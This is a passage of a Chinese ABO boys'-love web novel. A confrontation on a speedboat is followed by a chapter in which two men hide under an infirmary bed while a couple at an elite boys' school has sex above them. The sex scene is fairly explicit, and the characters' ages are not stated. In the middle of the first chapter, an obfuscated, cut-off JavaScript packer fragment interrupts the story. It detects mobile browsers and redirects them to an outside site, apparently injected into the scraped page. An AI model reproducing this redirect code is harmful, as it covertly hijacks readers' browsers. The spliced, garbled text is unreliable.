“淦@#%¥&SB吗@#…*”巴伦·蒋被迫只能停下船,满脸愤怒和满嘴脏话在看见闻行屿的脸后紧急刹车:“闻...闻老师,这是闹得哪一出?” 巴伦早就调查过柳弦之前的动态,自然知道柳弦之前追求过闻行屿并且惨遭拒绝。 此时闻行屿突然疯了似的上来挑衅,巴伦也和其他人那样以为闻行屿后悔了看不得柳弦和其他人亲近,霎时间打起了十二分警惕。 而柳弦也在看见闻行屿后立刻推开巴伦·蒋,和他保持距离:“...行屿?” 就在这时,蓄意已久的白苏却突然发难,猛地从后面扯住巴伦·蒋的冲浪服猛地一扯,想把他扯离方向盘:“你给我起开!!” 然而,由于柳弦推巴伦·蒋时对方毫无防备,又正好白苏突然袭击,这一下直接让巴伦·蒋站立不稳,“咚”的一声跌进了海里。 他精心打了发蜡的头发蔫巴成了一团,砸进水里的姿势好似一只大牛蛙。 白苏:? 闻行屿:? 柳弦:?? 在柳弦的尖叫里,白苏抬起手臂擦了擦因为巴伦·蒋砸进海面而溅起在他身上水花。 由于他的全部注意力都放在阴暗爬行上,所以并未注意到远处过来的黑船。 此时一抬头就是闻行屿诧异的脸,让白苏有些难为情:“...咳,闻老师?” 处于盛怒状态的闻行屿在看见白苏依旧精力充沛后冷静了许多,此时又被这突然的一出弄得有点想笑:“你没事吧。” “没事。”白苏摇头。 巴伦·蒋毕竟是常常在海边度假的Alpha,身强体壮,呛了一口水后立刻浮出了海面,冲着白苏怒骂:“新来的,你竟敢把我推下水!你知道我爸是谁么!你是不是不想在学校干了!” 比起掉下水,更重要的是他在柳弦面前,丢了面子! 掉进水里狼狈的模样和闻行屿比,完全是一个天一个地! 这让骄傲如公鸡般的巴伦如何能接受。 见白苏不说话,愤怒的巴伦·蒋一个用力便让身体重新翻上甲板,想要扯住白苏的衣服。 “蒋,快艇不是像你这样开的。”闻行屿面色阴沉,不由分说跨上白色快艇,将白苏挡在身后。 巴伦·蒋虽然刚才看见闻行屿后变了脸,此时却不想再在柳弦面前处于下风,于是伸手猛推闻行屿:“你让开!你在这儿装什么好人!” “够了吧。”闻行屿声音带着压抑的怒意,“你单手开船,速度超过20节,本来就已经超速,何况你们三个人都没有穿救生衣。蒋,你自己想要怎么样,我管不着,但是你不能拿船上其他人的性命来开玩笑。” 巴伦冷哼一声,面色已经冷到了极点:“说到底,你今天这一出,不就是想用冠冕堂皇的理由带走柳老师么?我告诉你,话我今天就撂这儿了,柳弦老师竟然上了我的船,我是不会放他跟你走的。” 柳弦夹在中间,有些慌乱地左右看两个他自认为正在为他争风吃醋的Alpha:“你们不要因为我吵架呀...” 但看着闻行屿那冷静克制里蕴藏的恼怒,柳弦又在心里有些窃喜—— 闻行屿,终究还是在乎自己的! 白苏站在旁边一脸麻木地看着他们,心想难道闻行屿对柳弦也有意思? 那还真是没看出来。 不管现在情况怎样,闻行屿在这本文里甚至不是男配,所以足以说明闻行屿并没有和柳弦继续纠缠。 白苏打定主意等会儿不论闻行屿有没有喊自己,自己都要直接要求上闻行屿的船。 他实在不想再坐巴伦这癫公开船的快艇了,也害怕巴伦会因为刚才的事而又故意把他甩下船。 然而,闻行屿再次开口时令其余三人都大吃一惊:“我本来就没想带走柳弦。白苏,”他侧身看向白苏,“上我的船。” 白苏一愣,脖子前倾瞪大眼睛手指自己.jpg:“...叫我吗?” “嗯。”闻行屿点头。 柳弦原本带着微妙愉悦和开心的心情像是被兜头浇了一盆冷水。 闻行屿...竟然不是为了他来的?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320515|152442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这怎么可能! 可柳弦又非常清醒地明白,如果闻行屿最初就是为了他而来,是绝不可能在巴伦·蒋面前否认的。 闻战神,是个顶天立地的男人,他想做的事,就算又再多艰难险阻,也一定会做成。 柳弦瘦削身体摇摇欲坠起来,眼眶也开始泛红。 “你...大费周章过来截停我们的船,是为了他?”柳弦开口时柔软声线不断颤动着,似乎下一秒就会哭出来般。 闻行屿看向他时目光不带任何感情,开口时声音平静:“是啊,我来救我邻居的。你们这样危险操作,让我觉得你们会伤害到无辜的人。” “...原来全是我,自作多情。”柳弦双眸含泪楚楚可怜,破碎感十足。 可惜他遇上的男人是满脸冰冷的闻行屿,全然没有任何怜惜之意。 而巴伦·蒋在一旁看见柳弦悲伤的神情,内心的醋意和愤怒早已突破苍穹。 刚才柳弦推开他的动作,他并非没有察觉,只是发怒时并不舍得牵连柳弦,才会对着白苏发火。 柳弦对闻行屿的感情,明眼人都看得出来。 可闻行屿对柳弦却那么冷漠,现在还说刚才的强行截停是为了救一个Beta?! 这怎么可能! 但巴伦·蒋又实在不愿意替柳弦向闻行屿讨个公道,因为他巴不得柳弦离闻行屿越远越好。 于是他只是站在原地,双手握拳,紧紧的。 白苏心中很是感动,没想到这个癫公世界竟然还有闻行屿这么正能量的人! 正道的光,照在了大地上!闻行屿不仅长得帅身材好,人竟然也是这么正直仗义! 要不是白苏是Beta,要让白苏以身相许他也是愿意的。 闻行屿的黑船离这艘白快艇有些距离,闻行屿只是一跃的功夫,白苏却做不到。 正当他为难时,闻行屿却已经先一步回到黑船上,站在船尾朝他伸出手:“拉我的手过来。” “好。”白苏能感觉到两道灼热的视线胶着在自己背上,可他管不着这么多了。 他以后一定离这些癫公远一点!可恶! 远处,于芥的笑容僵在了脸上。 虽然他只是远远看着,可一样看出了事情的不对劲。 如果闻行屿是想要和巴伦争夺柳弦,那么应该两个人是把柳弦夹在中间对话的。 可是现在,柳弦站在巴伦·蒋身后,闻行屿却握着那土包子的手腕! 奇怪。 闻行屿难道是为了那叫...他忘了叫什么的校医,才会怒气冲冲开着快艇去拦巴伦·蒋? 于芥摇了摇头,把这个荒诞的猜想从脑海中剔除。 这不可能啊!那土包子甚至不是Omega,又来自小山村,和闻行屿能有什么共同语言? 闻行屿又怎么可能在这短短几天就喜欢上他? 要知道,疯狂追求闻行屿的Omega不在少数,可闻行屿都一直不冷不热... 这么高眼光的人,怎么会看上这种平平无奇的Beta土包子呢?! 22-30 第22章 第 22 章 午夜迷情,强制标记(下…… 夜凉如水, 掩不住一室好春光。 莹润的圆纽扣撒了满地,滚落得七零八散。 洁白床单随着床上人的动作而产生道道皱褶,月光映亮枕边散落的金发。 “赫克托尔, 宝贝,我只是想要一个答案。”塔利亚看着他,声音里带着哭腔的颤抖。 他一直都渴望着赫克托尔, 无论赫克托尔是Beta或是Omega, 这种渴望都不会改变。 而甜腻的信息素气味,加剧了这种渴望, 烧灼着他的神智。 “是从什么时候开始信息素失控的?为什么不找我帮忙?” 塔利亚俯身看向赫克托尔,哀怨和恼怒充斥其中,语调咄咄逼人。 “你知道你现在有多香么,你知道如果发现你的是别人,会发生什么吗!?” 在他身下仰躺着的年轻男生一头金发璀璨无比,即便在微弱的光线下依旧闪烁着无与伦比的光泽。 更不提对方更加漂亮的湛蓝眼眸, 此时正弥漫着情欲的水雾, 雾蒙蒙的, 勾得塔利亚浑身血液好似可燃液体般剧烈燃烧。 理智已经被焚烧殆尽, 余下躯壳与满载的情欲。 刚才的话语不过是情绪的宣泄,不待赫克托尔的回应,黑发青年就再次附身吻了下去。 沿着唇瓣吮吻, 再嬉戏般滑过对方齿间, 最后卷住那段慌乱躲避的粉嫩软舌。 重重地、带着惩罚性质的吸吮。 床下,一位在涩涩情节里充当背景板用于增加情趣的工具人Beta正在心里吐槽:这位Alpha先生,你在质问什么? 好像和现在被你发现了没什么区别吧,都是被掘一顿,只不过掘的人不同罢了! 还有你们能不能不要边亲边哼哼得这么大声啊!!! 等会儿。 白苏狐疑地回头瞥了闻行屿一眼, 心想怎么闻行屿一点儿反应也没有。 他是Beta,闻不到任何信息素,所以也不会受到干扰。 但对于Alpha来说,发情期Omega的信息素应该好比那啥春天药。 按照白苏所学的知识,此时闻行屿应该血脉贲张呼吸急促浑身燥热。 这并非闻行屿对那个Omega有什么意思,而是最本能的生物激素决定的机制。 但此时,闻行屿呼吸平稳眼眸雪亮,蛰伏在黑暗里像是等待猎物的野兽,如果不是白苏知道他本来就在那里,根本不会察觉到他的存在。 白苏不由得在心里胡乱猜测着:难道现在科技已经发展到可以让Alpha不受Omega信息素影响了? 那还是真是很先进啊。 赫克托尔眼尾泛红,浅金色的浓密睫毛挂满生理性的泪珠。 他似乎是想张口说些什么,可却被压着他的青年再次不由分说地强势侵入。 信息素水平波动下的他们都像刚经过了一场极长距离的长跑,塔利亚的汗水从发梢间滴落,顺着分明清晰的下颚线滑落,滴在赫克托尔覆盖着薄而柔韧肌肉的胸膛上。 赫克托尔鼻尖酸疼,喉头翻涌着无数想说的话。 可他什么也说不出来。 不找塔利亚帮忙是因为知道塔利亚肯定会帮他。 可如果两人关系变得更加亲密更加坦诚,塔利亚一定会向他坦白心意,向他要一个结果,要一个回应。 这份回应太重,太深,赫克托尔给不起。 “我”金发青年再次想要张口,却仍旧什么也没有说出来。 难道要说Omega和Alpha谈恋爱的下场就是被送去结婚生子吗? 塔利亚作为一个从小受着上流Alpha教育长大的人,又怎么会懂Omega在做些他们眼中平常的事情有多么处处挚肘呢? 赫克托尔从小的梦想就是加入army,成为一名统帅千军的长官,保家卫国。 就算他满载对塔利亚的爱,他也绝不能妥协。 赫克托尔抿唇,眼尾再次落下一颗泪珠,chuanxi着再次勾着塔利亚脖颈,带着眷恋吻上他凸出的喉结。 如果塔利亚也喜欢他,那就让他们的关系停留在rou体吧。 他不能、也不敢说出隐藏的爱意,因为那可能会毁了他原本就不堪一击、却一直在竭力粉饰的梦想。 仿佛为了映衬此刻房间内二人悲伤的情绪,雨水细密砸在窗户上,发出阵阵敲击声响。 窗外乌云弥漫,皎洁月光被彻底遮挡,整个世界都沉浸在盛大的雨幕中。 雨水浸润天地,潮湿的冷意四散蔓延。 闪电划过紫蓝色夜空,刹那照亮天地,将两张面庞紧贴的影子投在他们身后雪白墙壁上。 唇分时几道暧昧银丝勾连,就像是两人之间斩不断的情愫。 赫克托尔单手勾着塔利亚肩膀,另一只手轻巧拨开了对方最上方的一颗纽扣。 灵活的手指像爬行动物般在塔利亚结实的躯体上游弋【脖子以上,审核勿锁谢谢】。 那团火灼热而雄伟,看起来就让人感觉吃不消,赫克托尔有预感自己今晚会痛到哭。 然而,他的下一步动作却被塔利亚制止了。 “嗯?”赫克托尔歪头,明媚的蓝眸泛红,呜咽着落下一行情动的泪。 “我可以帮你,我值得你信任。你为什么就是不肯试着向我靠近呢。”塔利亚带着深深的无力,那是爱而不得的挫败和煎熬。 “现在就是在靠近啊。”赫克托尔的声音带着情欲的哑,手不由分说。 好家伙,一个想搞涩涩,另一个想搞纯爱。 真希望搞涩涩那个能被说服,他俩就并肩躺在床上把话说开得了。 白苏在心里期盼着。 贵族男校的医务室自然都采用顶级配置,床单一日一换一人一换,床垫柔软而有韧性,都是白苏以前没听说过的牌子货。 设计顶级,随着人体曲线变幻形状托举人体,使得肌肉得到最大程度的放松。 就在塔利亚第一下把赫克托尔恶狠狠按在床上时,床垫猛地下陷了一块。 若不是闻行屿眼疾手快拉着白苏的衣服把他往后拖了一段,床垫一旦往下碰到了白苏,上面的人就会发现下面有东西了。 可躲开了那两人,却又产生了新的问题。 好热。 后背贴着的热源像是个微型的太阳,稳定散发着热度。 灼热的气息随着“太阳”呼吸频率有规律地喷薄在白苏敏感细嫩的后颈,潮湿热意密密麻麻覆盖了每一寸皮肤。 潮热带来细密痒意,像是火苗烧灼在白苏脖颈,让他感到无比煎熬。 可偏偏躲不开,不能躲。 为了避开床上的两人,白苏现在和闻行屿紧贴在床靠墙的一侧。 秋意浓,但室内有中央空调,他们穿得都很少。 闻行屿身上很热,热意顺着相贴衣料传递到白苏后背。 因为身高的原因,这个姿势像是闻行屿把白苏搂在怀里,侧脸紧贴着白苏的后颈。 暧昧得不像话。 闻行屿大抵也觉得靠得太近,尴尬得想转开脸,但黑暗里鼻尖又不经意滑过白苏脖颈。 白苏完全无法控制自己身体猛地抖了两下。 空气里满是朗姆酒的味道,甚至隐隐盖过了蜜桃香味。 白苏以前听说过信息素是酒的人释放信息素会让周围的人进入类似喝醉的状态,可这次却叫他自己遇上了一个信息素是朗姆酒的Alpha。 他酒量很差,俗称“三杯倒”。 此时摄入了过量的朗姆酒味道,已经有些飘飘欲仙了。 脑子迷迷糊糊的,却觉得后颈愈发烫越发痒,像是血肉正在那儿复苏,勤劳地搭建起一道道经脉组织。 好在床上两人还在继续说话,使得白苏思绪仍旧维持着几分清明。 “我爱你,赫克托尔。”塔利亚手指嵌入赫克托尔指缝间,另一只手捧着赫克托尔小巧脸颊,虔诚如同朝圣般,在金发青年额头落下一个羽毛般的吻。 黑发Alpha分明已经信息素水平高涨,朗姆酒味道弥漫整个房间,混杂着蜜桃味道像是某种芬芳的水果鸡尾酒。 脸颊发梢满是情动的汗水,随着他动作如雨水般滴落。 可即使抚摸赫克托尔的手都在颤抖,他却仍然温柔得像是在对待自己的神明。 没有一丝亵渎之意。 滚滚惊雷自天边绵延而来,赫克托尔却觉得那轰鸣声响比不上此刻自己的心跳声。 呼之欲出的除了欲望,还有压抑许久的、苦藏在心中的情丝。 心跳越来越快,逼着他身体不再受理智控制:“我也,爱你。” 塔利亚像是听见了什么不可置信的话,怔愣许久才颤抖着开口:“真的吗?你说了,赫克托尔,你终于承认了!” “我什么也没说,”赫克托尔红着脸欲盖弥彰侧过头,柔软的金色睫毛落在眼下,害羞得不敢直视塔利亚,“我有点难受。” “我会暂时标记你,这样之后不会有人看出你是Omega。”塔利亚笑得像是终于找到老婆的多年老光棍,美滋滋的。 “好。”赫克托尔耳朵发烫,眸含春水般模样看得塔利亚浑身燥热。 两人很快又嘴唇像是粘了502般黏在一起,发出粘腻而暧昧的水声。 这个世界Alpha对Omega的标记分为永久标记和暂时标记两种。 永久标记能够让Omega终其一生不受其他Alpha信息素影响,腺体散发的信息素味道也会糅杂些许他的Alpha信息素气味。 永久标记一般在结婚的AO中使用较多,只能通过腺体注入的方式进行。 而暂时标记可以通过腺体注入以及□□交换两种方式进行,能够让Omega发情期中止,信息素水平回归稳定值。 当然,在这段时间内,Omega是无法被其他Alpha标记的,对其他Alpha的信息素敏感度也会大幅下降。 白苏心里“呵呵哒”了一声。 看来这两人是不可能只躺在床上对月聊天了。 互通心意,其中一个正在发情,怎么听都是大英警察进职场的节奏。 白苏不敢想象等会儿事态逐渐焦灼的时候他和闻行屿该怎么坚持下去。 实在是太尴尬了。 麻了。 没有在塔利亚和赫克托尔来之前离开,是因为他和闻行屿都以为那两人会和上次的AO情侣一样去楼下翻药。 等到塔利亚已经带着赫克托尔上来,他们已经不方便离开了。 而他又脑子一抽拖着闻行屿躲进了床底。 白苏抬手,猛地掐住自己的人中,让自己不要两眼一黑蕨过去。 就算和塔利亚他们面面相觑,也比这样要好多了! 他们现在,被困在床底,难道要等这对AO在上面大干一场之后才能走吧! 光是想象,白苏都感觉自己要原地裂开了。 “你好香,宝贝,你怎么会这么香”塔利亚鼻尖抵着赫克托尔侧脸,低声喃喃。 大手掠过白皙雪地,拂过开得芬芳的红梅,激起赫克托尔一阵颤栗:“嗯啊” 两人的汗水、各种液体混杂在一起,早已分不清你我,更分不清那砰砰作响的心跳究竟属于谁。 塔利亚的话其实也是闻行屿此刻想说的。 短发男人剑眉斜飞如鬓,脖颈处分明的喉结不自觉滚动了一下。 漫天漫地都是白苏的味道,几乎要统治闻行屿的所有感官。 好香。 怎么可以那么香。 好似下一秒就会攫夺他的神智,让他心甘情愿献祭自己的灵魂,彻底沦为对方的信徒。 鼻尖蹭过淬满浸润着草叶气味的温热皮肤时,他用尽所有理智才转开脸,没有让自己彻底贴上去,像个变态似的深吸两口。 闻行屿在性别二次分化成Alpha后一直以傲人的自制力而闻名整个特别部队。 在训练中,在每一次任务里,他从未因Omega的信息素而失控。 就像一台精准而不会出错的机器,没有情感,也没有冲动和欲望。 腺体受损后,他更是闻不到任何Omega的信息素,不存在被谁的信息素吸引。 这是闻行屿生来头一遭,感受到被信息素支配而神魂颠倒的混乱感觉。 偏偏这种沉溺感觉又滋味极好,让他灵魂与身体好似受到了双重的抚慰。 他根本逃不掉,也根本不想逃。 闻行屿的手臂几度伸展,想要将眼前散发香气的来源紧紧搂进怀里,肆意采撷。 神智开始在意识的滔天巨浪里沉浮,晃晃悠悠地向着不可知的方向漂浮,不受控制。 好想抱着他。 好想直接让尖牙陷入他芳香的皮肤,在他身体里刻上自己的烙印。 好想恶狠狠地肆意亲吻抚摸,直到他被欺负得眼尾留下的泪水里都带着好闻的草叶气味。 好想。 可最终仅存的理智让闻行屿收回抬高的手臂,依旧一言不发地、沉默着。 就好像什么也没发生过一样。 “可能会疼,怕么?”床上那两位的进展逐渐深入,塔利亚的声音也愈发沙哑,满载阴暗的、往日无法摆放在天光下却能够在这个雨夜里肆意释放的情感。 赫克托尔仰头,叹气:“不怕” 塔利亚低笑一声,促狭在他唇边轻啄:“怕也没用,晚了。” 信息素像是不同颜色的烟雾在空气里紧密相融,最终不分彼此。 嘎吱嘎吱声响、暧昧声音伴随着铺天盖地的浓郁桃子酒香,让白苏愈发无所适从。 脖子又烫又痒。 白苏想伸手去挠,可闻行屿的脸近在咫尺,他抬手的时候说不好一个巴掌直接扇到对方脸上去。 真是进退维谷。 心跳得很快,不止是因为床上的那两个人,还因为落在他皮肤上的灼热呼吸。 白苏一直没什么亲近的朋友,也很少与人肢体接触。 现在这样的靠近,是往日里没有的。 所以社恐青年不由得有些难为情,但心里却并不抗拒和对方的肢体接触。 白苏也不知道,因为朋友的靠近而紧张,到底是不是一种正常的事情。 “我想和你像这样抵死缠绵,也想看着你开心地笑,做任何你想做的事”塔利亚擦去赫克托尔眼角的泪,“赫克托尔,我” 金发青年却好似害怕了他的告白,忍不住仰起脖子去吻他,借由此将他的嘴唇彻底堵住。 粘腻的水声混杂着海浪拍打礁石之声,响彻整个房间。 窗外盛大雨幕在此刻也沦为陪衬,静静隔着玻璃注视着房间里潮湿却灼热的一切。 草。 白苏实在绷不住了,慢慢翻身转为和闻行屿面对面,在闻行屿手背上写下三个字:“我想逃”。 床底昏暗得几乎无法看清任何事物,但白苏仍然肉眼可见闻行屿笑了一下,随后带着木仓茧的大手蓦地捉住他手腕,另一只手一笔一划写下:“我也是。” 这样偷偷摸摸地躺在床底下听人直播涩得没边的情节,还不是一个人听,本来应该尴尬到爆炸。 但闻行屿坦荡的态度却让白苏感觉好受了许多。 两人便这样一来一回开始在对方手上写字。 “什么时候能出去?” “等他们走了之后,难道想现在?” “算了,现在出去也太尴尬。” “忍忍吧。” 带着茧的食指指尖划过白苏娇嫩掌心,泛起一阵无法忽视的痒意,他不自觉收拢五指去回避这种痒,却一把抓住了闻行屿的手指。好像不舍得闻行屿拿开手似的。 闻行屿收回手的动作一愣。 原来白苏在他掌心写字时他还未曾察觉,此时却能分明感受到握着他手指的手冰凉,带着小弧度的颤抖。 掌心一层冷汗,怎么看都不太正常。 闻行屿心中不由得有些讶然。 他以为学医的人都对这些生理行为习以为常,没想到白苏竟然会害羞到几乎有些应激的程度。 瑟瑟发抖又不想别人发现的样子,像是下雨天淋湿了的可怜小猫。 闻行屿不免想笑,又觉得单纯而薄面皮的Beta有点可爱。 不,是很可爱。 可爱得让人想抱着捏两下脸颊。 只可惜他没带耳机,也不知道该怎么为白苏分忧。 怎么会有人因为听墙角而害羞得浑身发抖啊,这世界上还有这么纯情的人么? 闻行屿唇角弯起,忍不住伸手去抓对方惊慌下收回的手。 凉丝丝的,却又很光滑。 他从小生活在豪门世家,周围的朋友也大多出身不凡,这样的庞大家族,往往支系盘根错节,关系复杂而混乱。 老爹养情妇在家被抓个正着,老妈在沙龙里泡小白脸,哥哥鬼混正好遇到了小姨两人却都当作不认识对方之类的狗血戏码比比皆是。 就算是有人当着闻行屿的面大干一场,他也只会面不改色地走开,并附赠一句“真吵。” 而白苏在这些人之中,完全是个异类。 又像是黑暗里一双双眼眸闪烁着绿光的狼群里,披着狼皮的、唯一的小兔子。 闻行屿也不知道自己是不是闻着白苏身上的木香味闻昏了头,此时脑袋里的念头乱七八糟的。 掌心的痒意却并未消散,而且似乎愈演愈烈,渐渐蔓延到了手腕处。 白苏意识到这样不妥时便松开了手,可下一秒手掌却直接被对面的大手以很轻很温柔的方式握住,然后是一拉。 两人距离骤然拉近,近得白苏能闻到闻行屿身上的雪松香气。 是闻行屿常用的香水。 带着些微的苦涩,却又像是隆冬里覆盖着厚厚雪花的树木才有的芳香。 是很符合闻行屿气质的味道。 “我有个办法,要试么?” “什么?” 闻行屿轻笑,一只手按在白苏右耳,将声音隔绝,那只手顺势用力,将白苏的左脸按向了他自己的胸口。 “不想听那些声音,就听我的心跳吧。” 闻行屿在他掌心慢慢写着,白苏这才反应过来他的用意。 托着他右脸防止他碰到地板的大手掌心粗糙干燥而温暖,暖意让白苏恍然间有点想笑。 其实一点用也没有。 那两人就在他们头顶大搞特搞,就算带着工业级防噪耳塞,也能听个七七八八。 何况是这样,一只手挡着。 但白苏没有拆穿,只是觉得有些好笑地继续顺着他动作靠着。 兄弟的一番好意,就算没用,他也心领了。 和刚才白苏感觉到的一样,闻行屿的呼吸声很平稳,心跳也平缓有力,好似完全不受到信息素影响。 一下一下,加之那只隔绝自己与外界声音的手,白苏这才感觉发烫的脸颊有慢慢降温的趋势。 说来奇怪,自从第一次看见闻行屿,他就觉得对方是个靠谱的人。 虽然在他身边的时候闻行屿总是仗着比他小对他撒娇讨饶,玩游戏的时候还会耍赖。 可是白苏却仍然觉得,闻行屿身上带着一种,能让他安心的安全感。 床上的诉衷肠仍在继续。 “从第一次见你我就喜欢你,不论你是Beta,还是Omega,我都喜欢你”塔利亚即使运动,仍旧肺活量极好地在赫克托尔耳边说着绵绵的情话。 赫克托尔却只是在面对一连串情话吐出一口带着芳香的气息,断断续续道:“嗯啊现在呃嗯就别说这些了吧嗯!”显然非常享受的样子。 撞击声,晃动声,水声,shenyin声,窗外的雨声。 好多声音,混在一起。 白苏心脏狂跳,脸上烫得像是有火在烧。 闻行屿身上很热,他靠着的胸肌也结实有弹性,闻行屿的手还托着他右脸,像是抱着心爱的娃娃般珍重。 漫天漫地都是闻行屿的味道。 耳边是闻行屿有力的心跳声。 闻行屿拉他过来时的手也没有松开,此时两人双手依旧紧握着。 甚至,闻行屿还在下意识以粗粝指腹磨搽着他的指节。 白苏性格内向,在穿越前穿越后都没有什么好朋友,但他依稀知道好兄弟是能够勾肩搭背睡一张床一起搓澡的关系。 所以他和闻行屿这样,是不是就说明他们已经是好兄弟了? 白苏越想越高兴。 心跳加速什么的,一定只是因为听见不该听的动静了而已! 以杵捶打药草,药草便软化流出甘甜汁水。 山林中的洞穴早已汨汨流出泉水,潺潺水流,绵延不绝。 塔利亚在黑暗中摸到满手湿润,微微眯起眼,伸出舌头轻舔:“好甜。” 白苏心头一震。 WC,还能这样啊!? 那地方的水,也是蜜桃味的吗? 攻城木缓慢推进,重重击打城墙,换来赫克托尔的失声尖叫:“啊!!” “我爱你,就算你不让我说,我也爱你”塔利亚的声线颤抖着,带着明显的哭腔。 而床垫仍旧有规律地颤动着,速度快得惊人。 白苏已经无力吐槽了:边哭边动是什么哭包攻设定么! 兄弟你腰还挺好啊! 不过看起来,现在的剧情是赫克托尔为了学业和伪装Beta所以无心恋爱,一次次拒绝了塔利亚的示好,感觉塔利亚已经在黑化的边缘来回试探了。 白苏在穿越过来之前,没少被喜欢看BL文的妹妹荼毒各种热门小说。 妹妹钟爱BL小说,还最喜欢看ABO文,所以白苏已经对ABO设定以及它能够衍生出的剧情吸烟刻肺了。 这一对半夜翻进医务室的目的很明显,肯定是金发卷毛这位O装B混入通过率最低最难入学的战斗系。 然后一直用抑制剂来阻止自己产生信息素以伪装成Beta,但却意外被自己老攻发现。 最后在即将释放信息素going到整个学校Alpha的前夕,被老攻标记,开始形似先婚后爱的感情流篇章。 白苏觉得自己对这种BL小说的剧情发展了解程度之深,已经足以让人心疼了。 床铺下陷的地方忽然回弹,白苏被吓得回神,听见床上传来一阵商量的说话声:“换个姿势?” “好,你想怎么样,都可以。”赫克托尔在这件事上非常温顺。 塔利亚又在赫克托尔脸侧又亲又啃:“我是想你能更舒服嗯?” 随着一阵粗重chuanxi,白苏心想:你们不会是正在把貂蝉在一起吧。 不过多时,白苏便看见床垫下陷的位置从一大片身体躺下的位置变成了六个支撑点。 哈哈,真是不想做秒懂男孩呢。 白苏心酸地露出一个勉强的笑容。 虽然看不到床上的景象,但是完全已经猜到上面是什么光景了!! 肯定是赫克托尔跪着,最前面那两个凹陷的点是他手臂的支撑点。 而拖后的两个凹陷点则是塔利亚的膝盖。 本想在闭眼前和闻行屿吐槽一下,可是闻行屿却没有理会他。 白苏不愿再懂.jpg 他绝望闭上眼,假装自己听不见也看不见。 闻行屿并非不愿理会白苏,而是正在忍受着甜蜜的煎熬。 好香。 已经昏头了。 自从碰到白苏脖颈皮肤的那一刻开始,他就感觉到自己不太对劲了。 放在以前,清醒的时候,他绝不可能做出什么让别人听他心跳的诡异行为。 这完全是在想撩人的时候,才该有的行为,还有点儿油腻。 呆在白苏身边,只是好奇为什么自己能闻到白苏的味道。 但闻行屿从未想过,要真的和白苏发生什么。 白苏是个Beta,这是显而易见的。 所以白苏帮不了他,也救不了他。 或者说,他早就已经无药可救,无人可救。 他不想闯入白苏的世界,再快速消失。 那会让这个单纯的小Beta伤心。 闻行屿不愿意做这样自私的人,所以从最开始,就已经为自己设好了边界。 他会和白苏谈论学校里老师的八卦,谈论食堂饭菜和自己烹饪的过程,但对情感、对家庭、对朋友以及更深入的价值观话题从来是避而不谈。 只要萍水相逢,没有真正地去了解,闻行屿并不觉得,白苏会在之后没他的日子里继续念叨着他。 死之前,闻行屿不想再拖累任何人了。 不想有人再因为他而伤心,或是因为他而死。 可与他心理活动相违背的是,他搂着白苏的手臂再次收紧了,将白苏更近地揽进自己怀里。 这完全是身体的本能,不受控制的,无法克制的。 偏偏这小Beta没有一点儿防备,抱着他勒着他那么紧那么近,他也只是安静地、乖巧地用侧脸蹭蹭自己的锁骨,然后找了个舒服的姿势继续靠着自己。 闻行屿握着对方的手也不受控地收紧,像是想要把那节细腻温润的骨肉融入自己皮肤内似的。 他从来不是什么正人君子。 想要的东西,就算是和别人抢,生生从那些虚伪的对他虎视眈眈的人身上撕扯下一块血肉,他也无所畏惧。 可是白苏这样美好的,与他所处的阴暗血腥里全然格格不入的人 他却不能去多碰。 雨声更大了,劈里啪啦敲在明净玻璃上,落下一片斑驳光影。 可抱着抱着,白苏忽然感到有些不对劲。 闻行屿的圆领短袖纯棉质地,贴脸枕着也十分柔软。 可从不久之前开始,布料从内而外变得湿润,隐约热气蒸腾在白苏脸上,带着闻行屿皮肤独特的信息素气味。 那味道似乎有些硫磺混杂其中,本是很怪的气味,可白苏却并不排斥。 而且,闻行屿的呼吸也乱了。 若不是床上那两人投入地在进行激烈运动,肯定会听见闻行屿略微粗重的呼吸声。 白苏担忧地抬手,在他掌心写:“怎么了?热?” 床底空气不流动,又开着暖气,热倒也正常。 白苏担心的是闻行屿会被信息素影响,好在医务室里虽然没有能够抑制Omega发情的药物,却有很多可以抑制Alpha信息素水平的药。 毕竟这个学校里Alpha占了多数,而释放过量信息素是霸占地盘挑衅其他Alpha的行为,很有可能会引发群殴等暴力事件。 虽然白苏也认为这是一种双标和不平等。 回应白苏的是闻行屿沉重的呼吸声。 愈发沉重。 “回去再继续这里会有人来。”赫克托尔满面潮红,呼吸急促,眼神迷蒙,显然是一副餍足模样。 塔利亚低头俯视他,轻轻撇开散落在他眼前的金色碎发:“好,我背你回去。” “我自己回去,你先把这里收拾干净。”赫克托尔坚持。 而塔利亚食髓知味,怎么可能忍得住继续? 塔利亚不由分说背起腿软得站不起来的赫克托尔:“这里半夜不会有人来,先带你回去,我在天亮之前就会过来收拾。” 塔利亚和赫克托尔也明白此处不宜久待,仅仅一次后就匆忙离开。 脚步声匆忙而快速地远去,空气流通起来,朗姆酒味道也慢慢消散。 白苏松了口气:“终于走了。” 可闻行屿却还是没有动静,只是松开搂着白苏的手臂,下意识掐住了自己的脖子。 这是一个典型的带着倾向意味的自我保护动作。 如果只是热,没有必要用这样防备的姿态动作。 更不提闻行屿浓黑的长睫毛此时剧烈颤抖着,像是雨中被淋湿后无法飞起的蝴蝶。 青年赶紧从床底爬出来,声音带着颤抖:“闻行屿你等会儿,我去给你拿药。” “抑制剂没用。”闻行屿的声音哑得像是被砂纸磨过,显然正在遭受不小的折磨。 白苏被他的声音吓了一跳:“有用的,这里有很多种药” “没用。”闻行屿从床底出来时动作迟缓,白苏赶紧上前扶他。 “带我去一个地方。”闻行屿状态非常虚弱,俨然是在忍受着巨大的痛苦。 进入发情期的Omega能够引发其信息素扩散范围内多个Alpha进入易感期的速度,闻行屿离得这么近,肯定受到了不小的影响。 白苏原本只想着自己差点“喝醉”,却没想过还有这一茬。 一切都是因他而起,如果不是闻行屿上次说好陪他值晚班,也不会碰上这种事。 白苏心里内疚,赶紧问:“去哪?我扶你。” 虽然不知道闻行屿是怎么得出药没用的,但是白苏还是快速翻找出了好几种抑制剂带在身上。 还顺手把自己的小药瓶也放进了包里,一并带着。 